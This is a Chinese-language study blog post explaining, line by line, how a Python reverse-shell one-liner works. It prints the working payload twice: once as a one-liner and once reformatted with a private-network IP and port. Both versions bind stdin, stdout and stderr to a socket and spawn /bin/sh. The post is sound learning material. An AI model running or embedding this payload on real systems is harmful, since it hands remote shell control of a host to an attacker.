zoukankan      html  css  js  c++  java
  • 记一次对python反弹shell的分析

    前言

    昨天学习了反弹shell,对python弹shell产生了一些疑惑

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    分析

    把代码排版一下

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.190.1",8080))
    os.dup2(s.fileno(),0)       
    os.dup2(s.fileno(),1)       
    os.dup2(s.fileno(),2)       
    p=subprocess.call(["/bin/sh","-i"])
    

    分析一下代码,分为三个部分socketossubprocess

    1.socket部分

    import socket
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.190.1",8080))
    

    接下来逐行分析

    import socket
    

    导入python socket库

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    

    使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket

    s.connect(("192.168.190.1",8080))
    

    连接到192.168.190.1:8080处的套接字

    2.os部分

    import os
    os.dup2(s.fileno(),0)       
    os.dup2(s.fileno(),1)       
    os.dup2(s.fileno(),2)      
    

    这里我一开始不知道dup2函数是干什么用的,百度了一会才知道

    引用菜鸟教程的解释

    os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

    而fileno()函数就是返回一个文件的文件描述符

    那么,什么是文件描述符呢?

    在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr

    所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示

    3. subprocess部分

    import subprocess
    p=subprocess.call(["/bin/sh","-i"])
    

    先引用一段关于subprocess库的描述

    它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码

    而call函数的作用就是执行指定的命令,返回命令执行的状态码

    所以这句代码的作用就是生成新的进程,调用/bin/sh

    综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机

    问题

    虽然大致解决了原理,但是还有一些代码方面的问题

    fileno应该是只有文件类型才能使用的函数,但是socket套接字却能够使用

    我觉得是因为数据流和文件流之类的问题,详细情况还待之后学习……

  • 相关阅读:
    Linux启动网卡时出现RTNETLINK answers: File exists错误解决方法
    在Linux系统中应用su和sudo
    Python模块常用的几种安装方式
    安装php并使用nginx连接PHP
    查看Chrome浏览器扩展程序源码的两种方法
    angularJs中缓存数据,免去重复发起请求的几种写法
    underscore.js 分析6 map函数
    AngularJS中Directive指令系列
    $watch和$observe的使用
    $watch, $watchCollection, $watchGroup的使用
  • 原文地址:https://www.cnblogs.com/hf99/p/9546906.html
Copyright © 2011-2022 走看看